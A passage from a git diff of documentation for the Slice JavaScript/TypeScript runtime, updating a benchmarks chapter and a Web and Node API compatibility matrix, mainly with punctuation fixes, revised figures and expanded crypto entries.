KB` per tenant, `< 10 MB` total host RSS). For exact measurements from the latest benchmark run, see [`tests/reports/latest.md`](../../tests/reports/latest.md). diff --git a/docs/general/09_benchmarks_testing_and_docker_suite.md b/docs/general/09_benchmarks_testing_and_docker_suite.md index bcfaf4c..9b9e0c5 100644 --- a/docs/general/09_benchmarks_testing_and_docker_suite.md +++ b/docs/general/09_benchmarks_testing_and_docker_suite.md @@ -1,10 +1,10 @@ # Chapter 09: Time-Travel Testing (`slice test`), Deterministic Replay & Production Benchmarks -In traditional test runners (`jest`, `vitest`, `bun test`, `deno test`), if Test #1 writes a temporary file to disk or mutates a shared key-value store and fails mid-test, Test #2 inherits dirty state — leading to flaky tests that pass in isolation and fail in CI. Furthermore, no standard test runner lets you assert that a function stays within a strict **CPU instruction fuel budget**, **memory ceiling**, or **Object-Capability security policy**. +In traditional test runners (`jest`, `vitest`, `bun test`, `deno test`), if Test #1 writes a temporary file to disk or mutates a shared key-value store and fails mid-test, Test #2 inherits dirty state - leading to flaky tests that pass in isolation and fail in CI. Furthermore, no standard test runner lets you assert that a function stays within a strict **CPU instruction fuel budget**, **memory ceiling**, or **Object-Capability security policy**. -Slice solves both problems with **`slice test` — the Time-Travel Test Runner**. +Slice solves both problems with **`slice test`: the Time-Travel Test Runner**. -This chapter shows you how to write unit, integration, and security tests with `slice test`, how to eliminate flaky time/randomness bugs with `--deterministic`, and how to run Slice's 20-application Docker benchmark suite against Node.js, Deno, and Bun. +This chapter shows you how to write unit, integration, and security tests with `slice test`, how to eliminate flaky time/randomness bugs with `--deterministic`, and how to run Slice's 33-workload Docker benchmark suite against Node.js, Deno, and Bun. --- @@ -127,7 +127,7 @@ slice run ./src/simulation.ts --deterministic=998877 When deterministic mode is active: 1. **`Math.random()`, `crypto.randomUUID()`, `crypto.getRandomValues()`, and `crypto.subtle.generateKey()`** use a seeded SplitMix64 PRNG that produces the exact same sequence of values on every run. 2. **`Date.now()` and `performance.now()`** use a monotonic virtual clock (`1700000000000 + tick_ms`) that advances deterministically. -3. **`setTimeout(fn, delayMs)` and `setInterval(fn, delayMs)`** execute via **Deterministic Virtual Time-Warp (`0 ns` wall-clock sleep)** — a `setTimeout(fn, 5000)` advances the virtual clock by `+5000 ms` and runs `fn` immediately without sleeping the OS thread! +3. **`setTimeout(fn, delayMs)` and `setInterval(fn, delayMs)`** execute via **Deterministic Virtual Time-Warp (`0 ns` wall-clock sleep)**: a `setTimeout(fn, 5000)` advances the virtual clock by `+5000 ms` and runs `fn` immediately without sleeping the OS thread! 4. **Outbound `fetch()`** automatically records upstream HTTP responses into `Slice.kv` (`fetch_cassette::`) and replays them deterministically. --- @@ -148,7 +148,7 @@ Slice includes a comprehensive Linux `x86_64` Docker benchmark suite ([`tests/`] > **Latest Verified Benchmark Report:** **[`tests/reports/latest.md`](../../tests/reports/latest.md)** (Archive: [`bench_v0.10.12_20261111_175836Z_dc31f74.md`](../../tests/reports/bench_v0.10.12_20261111_175836Z_dc31f74.md)) -> **Provenance:** Slice `v0.10.12` (`dc31f74`) · Generated `2026-11-11T17:58:36Z` · Environment: `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` +> **Provenance:** Slice `v0.10.12` (`dc31f74`) | Generated `2026-11-11T17:58:36Z` | Environment: `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` > **Scorecard Across All 33 Production Workloads:** Beats **Deno (`v2.9.8`)** on **33/33**, **Node.js (`v27.0.0-alpha.0.0.0`)** on **33/33**, **Bun (`v1.4.4`)** on **29/33** cold one-shot, and **all 3 runtimes on 33/33 workloads in `--warm` pooled execution**. #### 1. Core Architecture, HTTP Throughput & 1,000-Tenant MicroVM Density @@ -159,19 +159,19 @@ Slice includes a comprehensive Linux `x86_64` Docker benchmark suite ([`tests/`] | **1,000-Tenant MicroVM Swarm (Boot + Exec)** | **`1.74 ms` (`9.82 MB` RSS)** | > 5,000 ms | > 15,000 ms | > 30,000 ms | **> 3,900x faster / ~32,000x denser** | | **500-Module Monorepo Cold Boot (`stat()` Calls)** | **`3.41 ms` (`0 stat()`)** | `12.72 ms` (`500+ stat`) | `41.80 ms` (`500+ stat`) | `70.38 ms` (`1,500+ stat`) | **`3.7x` faster than Bun / `20.6x` Node.js** | | **HTTP/1.1 Keep-Alive Throughput (`16k` Reqs)** | **`154,794 req/s`** (Tier-0)
**`147,564 req/s`** (Tier-1) | `100,562 req/s` | `99,082 req/s` | `56,447 req/s` | **`1.54x` (`Tier-0`) / `1.47x` (`Tier-1`) vs `Bun.serve`** | -| **Peak Process Memory (`Max RSS` Across Suite)** | **`13.45 – 21.63 MB`** | `26.13 – 40.25 MB` | `45.69 – 62.38 MB` | `70.15 – 93.00 MB` | **`2.0x–2.3x` less than Bun / `4.3x–6.8x` less than Node** | +| **Peak Process Memory (`Max RSS` Across Suite)** | **`13.45 - 21.63 MB`** | `26.13 - 40.25 MB` | `45.69 - 62.38 MB` | `70.15 - 93.00 MB` | **`1.5x-2.4x` less than Bun / `3.9x-6.8x` less than Node** | | **Multi-Tenant Security Containment** | **`5 / 5 PASS`** (OCap+SES+Fuel+DLP) | `0 / 5` (Ambient) | `2 / 5` (Coarse CLI) | `0 / 5` (Ambient) | **Hardware & Language Zero-Trust Isolation** | #### 2. Real-Life Workload Summary by Domain (All 33 Workloads Aggregated) | Workload Domain & Stack Coverage | Suites | Slice Cold `.cas` Avg (Range) | Slice Warm (`--warm`) Avg | Bun `v1.4.4` Avg | Deno `v2.9.8` Avg | Node.js `v27.0.0-alpha.0.0.0` Avg | Category Speedup vs Bun / Node.js | | :--- | :---: | :---: | :---: | :---: | :---: | :---: | :--- | -| **Core Edge, Auth & Crypto (`Apps 01, 04, 05, 16`)**
Multi-file TS, SHA-256/HMAC, JWT/OAuth2, `.env` Auto-DLP | `4` | **`7.84 ms`** (`6.28–10.07 ms`) | **`2.17 ms`** | `14.52 ms` | `42.60 ms` | `62.07 ms` | **`1.85x Bun` (`6.69x` Warm) / `7.92x Node`** | -| **NPM Ecosystem, AST & Disk I/O (`Apps 02, 03, 06, 07, 08, 20`)**
`semver`, `flatted`, `dlv`/`dset`, `mitt`, 10-Shard JSONL I/O, `Buffer` | `6` | **`10.94 ms`** (`7.25–14.23 ms`) | **`3.16 ms`** | `17.64 ms` | `48.12 ms` | `65.89 ms` | **`1.61x Bun` (`5.59x` Warm) / `6.02x Node`** | -| **WinterTC Web Standards, Fetch Mesh & DLP (`Apps 09–14, 17–19`)**
`Request`/`Response`, Static CDN `304`, SSE, Live `fetch`, WebCrypto | `9` | **`15.45 ms`** (`8.12–29.33 ms`) | **`7.31 ms`** | `18.48 ms` | `52.47 ms` | `93.96 ms` | **`1.20x Bun` (`2.53x` Warm) / `6.08x Node`** | -| **Realtime WebSockets, Workers & Wasm/TSX (`Apps 15, 21–24`)**
RFC 6455 WS, `worker_threads` + TCP/UDP, Pure-Rust `wasmi` Wasm, TSX SSR | `5` | **`14.25 ms`** (`8.72–20.99 ms`) | **`2.48 ms`** | `28.68 ms` | `62.87 ms` | `86.44 ms` | **`2.01x Bun` (`11.57x` Warm) / `6.07x Node`** | -| **Full-Stack Edge & Node Frameworks (`FW 01–04`)**
`Hono v4.6.20`, `itty-router + UnJS Nitro`, `Express/Polka node:http`, `SvelteKit 3.1.1 + Svelte 5.57.3` | `4` | **`20.74 ms`** (`14.65–34.19 ms`) | **`7.47 ms`** | `29.22 ms` | `54.14 ms` | `93.40 ms` | **`1.41x Bun` (`3.91x` Warm) / `4.50x Node`** | -| **AI Agent, Multi-Tenant SaaS & Chaos Case Studies (`CS 01–05`)**
Depth-4 ToT Agent, MCP Code Mode, 12-Tenant Mesh, Wasm CDR, 48 Payment Sagas | `5` | **`21.17 ms`** (`13.17–34.84 ms`) | **`6.27 ms`** | `20.96 ms` | `56.54 ms` | `80.98 ms` | **`0.99x Bun` (`3.34x` Warm) / `3.82x Node`** | +| **Core Edge, Auth & Crypto (`Apps 01, 04, 05, 16`)**
Multi-file TS, SHA-256/HMAC, JWT/OAuth2, `.env` Auto-DLP | `4` | **`7.84 ms`** (`6.28-10.07 ms`) | **`2.17 ms`** | `14.52 ms` | `42.60 ms` | `62.07 ms` | **`1.85x Bun` (`6.69x` Warm) / `7.92x Node`** | +| **NPM Ecosystem, AST & Disk I/O (`Apps 02, 03, 06, 07, 08, 20`)**
`semver`, `flatted`, `dlv`/`dset`, `mitt`, 10-Shard JSONL I/O, `Buffer` | `6` | **`10.94 ms`** (`7.25-14.23 ms`) | **`3.16 ms`** | `17.64 ms` | `48.12 ms` | `65.89 ms` | **`1.61x Bun` (`5.59x` Warm) / `6.02x Node`** | +| **WinterTC Web Standards, Fetch Mesh & DLP (`Apps 09-14, 17-19`)**
`Request`/`Response`, Static CDN `304`, SSE, Live `fetch`, WebCrypto | `9` | **`15.45 ms`** (`8.12-29.33 ms`) | **`7.31 ms`** | `18.48 ms` | `52.47 ms` | `93.96 ms` | **`1.20x Bun` (`2.53x` Warm) / `6.08x Node`** | +| **Realtime WebSockets, Workers & Wasm/TSX (`Apps 15, 21-24`)**
RFC 6455 WS, `worker_threads` + TCP/UDP, Pure-Rust `wasmi` Wasm, TSX SSR | `5` | **`14.25 ms`** (`8.72-20.99 ms`) | **`2.48 ms`** | `28.68 ms` | `62.87 ms` | `86.44 ms` | **`2.01x Bun` (`11.57x` Warm) / `6.07x Node`** | +| **Full-Stack Edge & Node Frameworks (`FW 01-04`)**
`Hono v4.6.20`, `itty-router + UnJS Nitro`, `Express/Polka node:http`, `SvelteKit 3.1.1 + Svelte 5.57.3` | `4` | **`20.74 ms`** (`14.65-34.19 ms`) | **`7.47 ms`** | `29.22 ms` | `54.14 ms` | `93.40 ms` | **`1.41x Bun` (`3.91x` Warm) / `4.50x Node`** | +| **AI Agent, Multi-Tenant SaaS & Chaos Case Studies (`CS 01-05`)**
Depth-4 ToT Agent, MCP Code Mode, 12-Tenant Mesh, Wasm CDR, 48 Payment Sagas | `5` | **`21.17 ms`** (`13.17-34.84 ms`) | **`6.27 ms`** | `20.96 ms` | `56.54 ms` | `80.98 ms` | **`0.99x Bun` (`3.34x` Warm) / `3.82x Node`** | #### 3. Flagship Real-World Representative Workloads (9 of 33 Highlights) @@ -196,6 +196,6 @@ Slice includes a comprehensive Linux `x86_64` Docker benchmark suite ([`tests/`] If you are building Slice from source and want to verify the internal Rust unit test suites: ```bash -# Run all 172 workspace unit and integration tests across all crates +# Run all workspace unit and integration tests across all crates cargo test --workspace ``` diff --git a/docs/general/COMPATIBILITY.md b/docs/general/COMPATIBILITY.md index 8ccad1f..e08854f 100644 --- a/docs/general/COMPATIBILITY.md +++ b/docs/general/COMPATIBILITY.md @@ -1,8 +1,8 @@ # Slice Runtime Compatibility Matrix -Slice is a capability-based, deterministic edge and serverless JavaScript/TypeScript runtime engineered for sub-microsecond cold starts (`< 1.5 us`), `4.0 KB` per-tenant isolate memory overhead, and deterministic time-travel replay. +Slice is a capability-based, deterministic edge and serverless JavaScript/TypeScript runtime engineered for sub-microsecond cold starts (`~1 us`), `4.0 KB` per-tenant isolate memory overhead, and deterministic time-travel replay. -Instead of embedding a heavyweight OS process runtime like libuv/V8, Slice targets the **WinterTC Minimum Common Web API** specification alongside **OCap-Sandboxed `node:*` Core Tier-1** modules. This document provides an explicit, verifiable compatibility matrix modeled on Cloudflare `workerd` and Deno/Bun compatibility tables. +Instead of embedding a heavyweight OS process runtime like libuv/V8, Slice targets the **WinterTC Minimum Common Web API** specification alongside **OCap-Sandboxed `node:*` Core** modules. This document provides an explicit, verifiable compatibility matrix modeled on Cloudflare `workerd` and Deno/Bun compatibility tables. --- @@ -15,15 +15,15 @@ All WinterTC globals are available in every isolate out of the box. Under the ho | **HTTP & Fetch** | `fetch`, `Request`, `Response`, `Headers`, `Slice.serve` (`Deno.serve` / `Bun.serve`) | **100% Supported** | Native Rust HTTP/1.1 & TLS 1.3 (`rustls` + `webpki-roots`), tenant-partitioned Keep-Alive socket pool, checked chunked streaming, hop-by-hop Zero-Trust SSRF redirect validation, OCap-verified `HTTP_PROXY`/`HTTPS_PROXY`/`NO_PROXY`, Egress DLP redaction, `.arrayBuffer()`, `.bytes()`, `.blob()`, `.formData()`, `.json()`, `.text()`, `Response.json()`, `Response.redirect()`, and native TLS 1.3 termination (`--tls-cert` / `--tls-key`) in `slice serve`. | | **WebSockets (RFC 6455)** | `WebSocket`, `MessageEvent`, `CloseEvent`, `Slice.upgradeWebSocket`, `Slice.mockWebSocket` | **100% Supported** | Zero-dependency RFC 6455 Client (`ws://` and `wss://` over TLS 1.3) and Server Upgrade (`HTTP/1.1 101 Switching Protocols` + `Sec-WebSocket-Accept`). Supports text and binary (`Uint8Array` / `ArrayBuffer` / `Blob`) frames, 4-byte XOR masking, fragmented frame reassembly, automatic `Ping`/`Pong` heartbeats, OCap `allow_net` + DNS SSRF + per-frame Outbound Egress Secret DLP, and deterministic `Slice.mockWebSocket`. | | **Pure-Rust WebAssembly** | `WebAssembly` (`validate`, `compile`, `instantiate`, `Module`, `Instance`, `Memory`, `Global`, `Table`, `CompileError`, `LinkError`, `RuntimeError`) | **100% Supported** | Pure-Rust `wasmi` (`v2.0.0`) engine with `GLOBAL_WASM_MODULE_CACHE` (`< 15 us` warm instantiation), zero-stat `.wasm` bundling (`import wasmBytes from "./kernel.wasm"`), 8-byte word-aligned `ArrayBuffer` linear memory sync, and 5-Ring WASM Security Cage (binary size/magic guard, unified CPU fuel metering with `SliceIsolate`, unified linear memory page/byte cage, zero ambient WASI authority + fuel-metered JS host imports, and Outbound Egress Secret DLP). | -| **MicroVM Web Workers** | `Worker`, `MessageChannel`, `MessagePort`, `URL.createObjectURL`, `URL.revokeObjectURL`, `URL.canParse` | **100% Supported** | Spawns isolated child `SliceIsolate` workers on background threads with strict capability attenuation (`child_caps = parent_caps ∩ opts.slice`), inherited Outbound Egress Secret DLP, independent fuel & memory ceilings, lock-free `mpsc` message channels, and support for Blob/data/VFS URLs. | +| **MicroVM Web Workers** | `Worker`, `MessageChannel`, `MessagePort`, `URL.createObjectURL`, `URL.revokeObjectURL`, `URL.canParse` | **100% Supported** | Spawns isolated child `SliceIsolate` workers on background threads with strict capability attenuation (`child_caps = intersect(parent_caps, opts.slice)`), inherited Outbound Egress Secret DLP, independent fuel & memory ceilings, lock-free `mpsc` message channels, and support for Blob/data/VFS URLs. | | **WinterTC Raw Sockets** | `cloudflare:sockets` / `slice:sockets` (`connect`), `Slice.connect`, `Slice.mockSocket` | **100% Supported** | Streams-based TCP & TLS 1.3 (`secureTransport: "off" \| "on" \| "starttls"`) sockets returning `{ readable, writable, opened, closed, close, startTls }` protected by 5-Ring Security (OCap `allow_net`, privileged port blocking under wildcard `*`, Pre-Connect DNS Resolved-IP SSRF guard, Outbound Egress Secret DLP on every `writable` chunk, and deterministic `Slice.mockSocket`). | | **URL Routing** | `URL`, `URLSearchParams`, `URLPattern` | **100% Supported** | Full query mutation (`append`, `set`, `delete`, `getAll`, `sort`), iterator protocols, `URL.canParse()`, `URL.createObjectURL(blob)`, relative URL resolution, and WHATWG `URLPattern` (`test`, `exec`, named `:param` groups, wildcards). | -| **Compression Streams** | `CompressionStream`, `DecompressionStream` | **100% Supported** | Pure-Rust `flate2` (`miniz_oxide`) streaming compression and decompression supporting `"gzip"`, `"deflate"`, and `"deflate-raw"` via `.pipeThrough()`. | -| **WebCrypto** | `crypto`, `crypto.subtle`, `CryptoKey` | **100% Supported** | Native Rust `ring` + SIMD backend with tenant-scoped `CRYPTO_KEY_HANDLE_TABLE` key handle caching (`LessSafeKey` / `hmac::Key` / `AesExpandedKey` / `Ed25519` / `ECDSA`): `getRandomValues`, `randomUUID`, `subtle.digest` (`SHA-1`, `SHA-256`, `SHA-384`, `SHA-512`), `subtle.generateKey` / `importKey` / `exportKey` (`raw`, `jwk`, `pkcs8`, `spki`), `subtle.encrypt` / `decrypt` (`AES-GCM` 128/256-bit with `additionalData` & `tagLength`, `AES-CBC` 128/256-bit with PKCS#7 padding), `subtle.sign` / `verify` (`HMAC`, `Ed25519`, `ECDSA` `P-256` & `P-384`), and `subtle.deriveBits` / `deriveKey` (`PBKDF2`, `HKDF`). Deterministic PRNG mode when `Slice.setSeed` is active. | +| **Compression Streams** | `CompressionStream`, `DecompressionStream` | **100% Supported** | Pure-Rust zero-dependency RFC 1950/1951/1952 DEFLATE/GZIP/Zlib engine (`crates/slice-engine/src/intrinsics/compression.rs`) supporting `"gzip"`, `"deflate"`, and `"deflate-raw"` via `.pipeThrough()` with compile-time CRC-32 / Huffman LUTs and sandbox memory caging. | +| **WebCrypto** | `crypto`, `crypto.subtle`, `CryptoKey` | **100% Supported** | Native Rust `ring` + RSA/X25519/ECDH + SIMD backend with tenant-scoped `CRYPTO_KEY_HANDLE_TABLE` key handle caching: `getRandomValues`, `randomUUID`, `subtle.digest` (`SHA-1`, `SHA-256`, `SHA-384`, `SHA-512`), `subtle.generateKey` / `importKey` / `exportKey` (`raw`, `jwk`, `pkcs8`, `spki`), `subtle.encrypt` / `decrypt` (`AES-GCM` 128/256-bit with `additionalData` & `tagLength`, `AES-CBC` 128/256-bit with PKCS#7 padding, `RSA-OAEP` `2048`/`3072`/`4096`), `subtle.sign` / `verify` (`HMAC`, `Ed25519`, `ECDSA` `P-256` & `P-384`, `RSASSA-PKCS1-v1_5` & `RSA-PSS` `2048`/`3072`/`4096`), and `subtle.deriveBits` / `deriveKey` (`PBKDF2`, `HKDF`, `X25519`, `ECDH` `P-256` & `P-384`). Deterministic PRNG mode when `Slice.setSeed` is active. | | **Streams** | `ReadableStream`, `WritableStream`, `TransformStream`, `TextEncoderStream`, `TextDecoderStream` | **100% Supported** | Pull/cancel lifecycle, `getReader()`, `getWriter()`, `pipeThrough()`, `pipeTo()`, `tee()`, `for await...of` async iteration, and SSE token streaming (`text/event-stream`). | | **Binary & Encoding** | `TextEncoder`, `TextDecoder`, `atob`, `btoa` | **100% Supported** | Native Rust UTF-8 codec (`encode`, `encodeInto` returning `{ read, written }`, `decode` with `fatal` and `ignoreBOM` options) and Base64 helpers. | | **Multipart & Blobs** | `Blob`, `File`, `FormData` | **100% Supported** | Binary-safe `Blob`/`File` (`slice`, `text`, `arrayBuffer`, `bytes`, `stream`) and `FormData` (`append`, `set`, `get`, `getAll`, `entries`) integrated with `Request`/`Response`. | -| **Events & Signals** | `Event`, `CustomEvent`, `EventTarget`, `AbortController`, `AbortSignal` | **100% Supported** | Listener registration (`once`, `passive`, `signal`), `AbortSignal.abort()`, `AbortSignal.timeout(ms)`, `AbortSignal.any(signals)`, and `DOMException`. | +| **Events & Signals** | `Event`, `CustomEvent`, `EventTarget`, `AbortController`, `AbortSignal`, `DOMException` | **100% Supported** | Listener registration (`once`, `passive`, `signal`), `AbortSignal.abort()`, `AbortSignal.timeout(ms)`, `AbortSignal.any(signals)`, and standard `DOMException` error names/codes. | | **Timers & Microtasks** | `setTimeout`, `clearTimeout`, `setInterval`, `clearInterval`, `setImmediate`, `clearImmediate`, `queueMicrotask`, `process.nextTick` | **100% Supported** | $O(1)$ Slab-Allocated Hierarchical Timer Wheel with strict priority ordering (`sync -> process.nextTick -> Promise.then / queueMicrotask -> setImmediate -> setTimeout(0)`), deterministic virtual time-warp (`0 ns` wall-clock wait during cassette tests), and real non-blocking concurrency on live sockets. | | **Cloning & Diagnostics** | `structuredClone`, `performance.now()`, `console.*` (`log`, `info`, `warn`, `error`, `debug`, `table`, `time`, `timeLog`, `timeEnd`, `group`, `groupCollapsed`, `groupEnd`, `dir`, `dirxml`, `count`, `countReset`, `assert`, `trace`, `clear`) | **100% Supported** | Graph-preserving cyclic `structuredClone` (`Map`, `Set`, `Date`, `RegExp`, `ArrayBuffer`, `Uint8Array`, `Error`, `transfer` list) and full WHATWG `console.*` specification routed through the Outbound Egress Secret DLP Firewall (with deterministic elapsed timing under `--deterministic`). | | **Internationalization & WinterTC Globals** | `Intl` (`DateTimeFormat`, `NumberFormat`, `Collator`, `PluralRules`, `Segmenter`, `getCanonicalLocales`, `supportedValuesOf`), `navigator`, `location` | **100% Supported** | Zero-ICU-bloat deterministic `Intl` fast-path shard (`18_intl.js`) supporting `Date.prototype.toLocale*`, `Number.prototype.toLocaleString` (`decimal`, `currency`, `percent`, `unit`, `formatToParts`), `String.prototype.localeCompare`, `PluralRules` (`cardinal`, `ordinal`), and `Segmenter` (`grapheme`, `word`, `sentence`), decoupled from the lightweight `19_process_cli.js` shard providing WinterTC `navigator`, `location`, and the complete `process` CLI surface (`stdout`, `stderr`, `stdin`, `hrtime`, `memoryUsage`, `on`/`emit`). | @@ -38,26 +38,30 @@ Slice supports `node:*` built-in specifiers (both `"node:"` and bare `"< | Module | Support Status | Supported APIs & Sandbox Semantics | | :--- | :--- | :--- | | `node:buffer` / Global `Buffer` | **Supported (Full Binary)** | Real `Uint8Array` subclass (`Buffer.prototype instanceof Uint8Array === true`, `Buffer.isBuffer(b) === true`). Supports `Buffer.from` (`utf8`, `hex`, `base64`, `base64url`, `latin1`, `ascii`), `alloc`, `allocUnsafe` (zero-filled for cross-tenant safety), `concat`, `byteLength`, `compare`, `.subarray()`, `.slice()`, `.copy()`, `.equals()`, `.fill()`, `.write()`, and integer wire readers/writers (`readUInt8`, `readUInt16BE/LE`, `readUInt32BE/LE`, `readBigUInt64BE/LE`, `writeUInt8`, `writeUInt16BE/LE`, `writeUInt32BE/LE`, `writeBigUInt64BE/LE`, plus signed variants). | -| `node:crypto` | **Supported (Native Rust)** | `randomBytes(size, cb?)`, `randomFillSync(buf, offset?, size?)`, `randomFill`, `randomInt`, `randomUUID()`, `getRandomValues(ta)`, `timingSafeEqual(a, b)`, streaming multi-chunk `createHash("sha256" \| "sha384" \| "sha512" \| "sha1" \| "md5")` and `createHmac(alg, key)`, fuel-metered KDFs (`pbkdf2Sync`/`pbkdf2`, `hkdfSync`/`hkdf`, `scryptSync`/`scrypt`), symmetric AEAD/block ciphers (`createCipheriv` / `createDecipheriv` for `aes-128-gcm`, `aes-256-gcm`, `aes-128-cbc`, `aes-256-cbc` with `setAAD`, `getAuthTag`, `setAuthTag`), asymmetric key generation & signing (`generateKeyPairSync`/`generateKeyPair`, `createSign`, `createVerify`, `sign`, `verify`, `KeyObject` for `ed25519` and `ec` `P-256`/`P-384`), plus `crypto.subtle` and `crypto.webcrypto`. | +| `node:crypto` | **Supported (Native Rust)** | `randomBytes(size, cb?)`, `randomFillSync(buf, offset?, size?)`, `randomFill`, `randomInt`, `randomUUID()`, `getRandomValues(ta)`, `timingSafeEqual(a, b)`, streaming multi-chunk `createHash("sha256" \| "sha384" \| "sha512" \| "sha1" \| "md5")` and `createHmac(alg, key)`, fuel-metered KDFs (`pbkdf2Sync`/`pbkdf2`, `hkdfSync`/`hkdf`, `scryptSync`/`scrypt`), symmetric AEAD/block ciphers (`createCipheriv` / `createDecipheriv` for `aes-128-gcm`, `aes-256-gcm`, `aes-128-cbc`, `aes-256-cbc` with `setAAD`, `getAuthTag`, `setAuthTag`), asymmetric key generation, signing, encryption & key agreement (`generateKeyPairSync`/`generateKeyPair`, `createPrivateKey`, `createPublicKey`, `createSecretKey`, `createSign`, `createVerify`, `sign`, `verify`, `publicEncrypt`, `privateDecrypt`, `diffieHellman`, `KeyObject` for `ed25519`, `x25519`, `ec` / `ECDSA` / `ECDH` `P-256` & `P-384`, and `rsa` / `rsa-pss` `RSASSA-PKCS1-v1_5`, `RSA-PSS`, & `RSA-OAEP` `2048`/`3072`/`4096`), plus `crypto.subtle` and `crypto.webcrypto`. | | `node:events` | **Supported** | Full `EventEmitter` class (`on`, `addListener`, `once`, `off`, `removeListener`, `prependListener`, `prependOnceListener`, `removeAllListeners`, `emit`, `listeners`, `rawListeners`, `listenerCount`, `eventNames`, `setMaxListeners`, `getMaxListeners`, static `EventEmitter.once`). | -| `node:path` | **Supported** | `normalize`, `isAbsolute`, `join`, `resolve`, `dirname`, `basename`, `extname`, `relative`, `parse`, `format`, `sep`, `delimiter`, `path.posix`, `path.win32`. | +| `node:path` (`path/posix`, `path/win32`) | **Supported** | `normalize`, `isAbsolute`, `join`, `resolve`, `dirname`, `basename`, `extname`, `relative`, `parse`, `format`, `sep`, `delimiter`, `path.posix`, `path.win32`. | | `node:fs` & `node:fs/promises` | **Supported (OCap + VFS)** | `readFileSync`, `writeFileSync`, `appendFileSync`, `existsSync`, `mkdirSync`, `readdirSync` (including `{ withFileTypes: true }`), `statSync` / `lstatSync` (`isFile()`, `isDirectory()`, `isSymbolicLink()`, `size`, `mtimeMs`, `mode`), `unlinkSync`, `rmSync`, `rmdirSync`, `copyFileSync`, `renameSync`, `realpathSync` (and `.native`), `mkdtempSync`, `chmodSync`, `symlinkSync`, `opendirSync` (with `for await...of`), 64 KB streaming `createReadStream` and `createWriteStream`, callback variants, and `fs.promises` async equivalents (`readFile`, `writeFile`, `appendFile`, `stat`, `lstat`, `mkdir`, `readdir`, `rm`, `rmdir`, `unlink`, `copyFile`, `rename`, `access`, `realpath`, `mkdtemp`, `chmod`, `symlink`, `opendir`). Backed by CoW Virtual File System (`/tmp`, `/vfs`) with O(1) `Slice.checkpoint()` / `Slice.restore()` and gated by `--allow-read` / `--allow-write` OCap tokens for host paths. | | `node:util` & `node:util/types` | **Supported** | `util.format` (`%s`, `%d`, `%i`, `%f`, `%j`, `%o`, `%O`, `%%`), `util.inspect` (cycle-safe), `util.parseArgs` (short/long flags, booleans, strings, `multiple`, `default`, `allowPositionals`, `allowNegative`, `tokens`), `util.isDeepStrictEqual`, `util.styleText`, `util.stripVTControlCharacters`, `util.MIMEType`, `util.MIMEParams`, `util.promisify`, `util.callbackify`, `util.deprecate`, `util.inherits`, `TextEncoder`, `TextDecoder`, and `util.types` (`isUint8Array`, `isTypedArray`, `isArrayBuffer`, `isBuffer`, `isPromise`, `isDate`, `isRegExp`, `isNativeError`, `isMap`, `isSet`). | | `node:assert` & `node:assert/strict` | **Supported** | `assert`, `assert.ok`, `strictEqual`, `notStrictEqual`, `deepEqual`, `deepStrictEqual`, `notDeepStrictEqual`, `throws`, `doesNotThrow`, `rejects`, `match`, `doesNotMatch`, `fail`, `AssertionError`. | | `node:url` & `node:querystring` | **Supported** | `URL`, `URLSearchParams`, `fileURLToPath`, `pathToFileURL`, and `querystring` (`parse`, `stringify`, `decode`, `encode`, `escape`, `unescape`). | | `node:timers` & `node:timers/promises` | **Supported** | Callback timers (`setTimeout`, `clearTimeout`, `setInterval`, `clearInterval`, `setImmediate`, `clearImmediate`) and Promise-based `timers/promises` (`setTimeout(delay, value?, { signal? })`, `setImmediate(value?, { signal? })`, `scheduler.wait`, `scheduler.yield`) with `AbortSignal` cancellation and `0 ns` virtual time-warp in `--deterministic` mode. | | `node:os`, `node:process`, & `node:tty` | **Supported (Sandboxed)** | `os.tmpdir()`, `os.platform()`, `os.arch()`, `os.EOL`, `os.cpus()`, `os.totalmem()`, `os.freemem()`, `tty.isatty()`, `tty.ReadStream`, `tty.WriteStream`, and full `process` CLI surface (`process.env`, `process.cwd()`, `process.argv`, `process.argv0`, `process.execArgv`, `process.execPath`, `process.pid`, `process.ppid`, `process.version`, `process.versions`, `process.exitCode`, `process.exit(code)`, `process.nextTick`, `process.uptime()`, `process.hrtime` + `process.hrtime.bigint()`, `process.memoryUsage()` + `.rss()`, `process.stdout`, `process.stderr`, `process.stdin`, `process.emitWarning`, `process.on`/`once`/`off`/`emit`). | -| `node:perf_hooks` | **Supported** | `performance` (`now`, `timeOrigin`, `mark`, `measure`, `getEntries`, `getEntriesByName`, `getEntriesByType`, `clearMarks`, `clearMeasures`, `timerify`, `nodeTiming`), `PerformanceObserver`, `monitorEventLoopDelay`, `createHistogram`. | -| `node:module` & `node:string_decoder` | **Supported** | `Module.createRequire`, `Module.isBuiltin`, `Module.builtinModules`, and `StringDecoder` (`write`, `end`). | -| `node:stream`, `node:stream/promises`, & `node:stream/web` | **Supported** | Full `EventEmitter`-based `Stream`, `Readable` (`_read`, `push`, `unshift`, `read`, `pause`, `resume`, `pipe`, `[Symbol.asyncIterator]`, `Readable.from`, `Readable.fromWeb`, `Readable.toWeb`), `Writable` (`_write`, `_final`, `write`, `end`, `cork`, `uncork`, `Writable.fromWeb`, `Writable.toWeb`), `Duplex`, `Transform` (`_transform`, `_flush`), `PassThrough`, `pipeline` (callback + `stream/promises`), `finished` (callback + `stream/promises`), `addAbortSignal`, and `stream/web` (`ReadableStream`, `WritableStream`, `TransformStream`, `TextEncoderStream`, `TextDecoderStream`). | -| `node:http` & `node:https` | **Supported (5-Ring OCap + Direct Server Bridge)** | `IncomingMessage` (extending `Readable`), `ServerResponse` (extending `Writable`), `Server`, `createServer`, `ClientRequest` (extending `Writable`), `request`, `get`, `Agent`, `globalAgent`, `STATUS_CODES`, `METHODS`, `maxHeaderSize`, `validateHeaderName`, `validateHeaderValue`. Bridges directly in-memory to `slice serve` (alongside `Slice.serve` / `Deno.serve` / `Bun.serve`) and enforces 5-Ring OCap `allow_net`, SSRF private-IP filtering, `HTTP_PROXY`/`HTTPS_PROXY`/`NO_PROXY`, and Outbound Egress Secret DLP on outbound `http.request` / `https.get`. | +| `node:console` | **Supported (Egress DLP)** | Exports `Console` constructor and all WHATWG `console.*` methods (`log`, `info`, `warn`, `error`, `debug`, `table`, `time`, `timeLog`, `timeEnd`, `group`, `groupCollapsed`, `groupEnd`, `dir`, `dirxml`, `count`, `countReset`, `assert`, `trace`, `clear`) routed through the Outbound Egress Secret DLP Firewall. | +| `node:perf_hooks` & `node:diagnostics_channel` | **Supported** | `performance` (`now`, `timeOrigin`, `mark`, `measure`, `getEntries`, `getEntriesByName`, `getEntriesByType`, `clearMarks`, `clearMeasures`, `timerify`, `nodeTiming`), 